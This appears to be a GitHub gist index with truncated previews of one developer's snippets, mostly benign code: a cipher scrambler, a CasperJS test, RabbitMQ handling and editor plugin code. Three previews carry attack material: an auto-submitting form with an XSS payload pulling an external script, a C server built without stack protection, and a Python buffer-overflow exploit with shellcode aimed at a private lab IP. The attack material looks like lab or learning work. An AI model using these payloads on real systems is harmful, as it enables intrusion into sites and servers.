This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import random | |
| import copy | |
| ALPHABET = ["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z", " "] | |
| class Scrambler(object): | |
| """A single scrambler unit""" | |
| def __init__(self, seed): | |
| super(Scrambler, self).__init__() | |
| self.routes = range(len(ALPHABET)) | |
| random.seed(seed) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sys | |
| def process_input(input_str): | |
| input_str = input_str[::-1] | |
| states = [] | |
| index = 0 | |
| mask = [] | |
| toggle = {1:2, 2:1} | |
| m1 = 1 | |
| # for each character, add it up |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Test 1 | |
| casper.start(); | |
| casper.open('http://localhost:3000/'); | |
| casper.then(function() { | |
| // asserts | |
| }); | |
| casper.run(function() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var form = document.createElement("form", {action: "/dashboard", method: "POST", style: "display: none", onsubmit: "return false;"}); | |
| form.appendChild(document.createElement("input", {type: "hidden", name: "21", value: "<IMG \"\"\"><SCRIPT SRC=\"//danpalmer.me/s/lkd.js\"></SCRIPT>\">"})); | |
| document.body.appendChild(form); | |
| form.submit(); | |
| document.body.removeChild(form); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| long deliveryTag = envelope.getDeliveryTag(); | |
| //... | |
| boolean success = handler.handleMessage(object, routingKey); | |
| if (success) { | |
| channel.basicAck(deliveryTag, false); | |
| } else { | |
| channel.basicNack(deliveryTag, false, true); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // OAuthRequestSigner.m | |
| // ----- | |
| // | |
| // Created by Dan Palmer on 29/07/2012. | |
| // Copyright (c) 2012 Dan Palmer. All rights reserved. | |
| // | |
| #import "OAuthRequestSigner.h" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function config() { | |
| if (!Editor) { | |
| return; | |
| } | |
| var window = new Sheet(Editor.current().window()); | |
| window.setFrame({x:0, y:0, width:355, height:130}); | |
| window.htmlPath = 'config.html'; | |
| window.buttons = ['Save', 'Cancel']; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| console = { | |
| log: function(msg) { | |
| if (typeof msg !== 'string') { | |
| msg = JSON.stringify(msg); | |
| } | |
| if (msg) { | |
| _logger.consoleLog_(msg); | |
| } | |
| } | |
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // Compile: | |
| // gcc -o server server.c -O0 -fno-stack-protector \ | |
| // -mpreferred-stack-boundary=2 -ggdb | |
| // | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <unistd.h> | |
| #include <errno.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import httplib | |
| host = "172.16.89.128" | |
| port = 8000 | |
| buffer_addr = "\x98\xF1\xFF\xBF" # 0xbffff198 | |
| payload = """ | |
| \xEB\x19\x31\xC0\x31\xDB\x31\xD2\x31\xC9\xB0\x04\xB3 | |
| \x01\x59\xB2\x07\xCD\x80\x31\xC0\xB0\x01\x31\xDB\xCD | |
| \x80\xE8\xE2\xFF\xFF\xFF\x68\x61\x63\x6B\x65\x64\x21 |
OlderNewer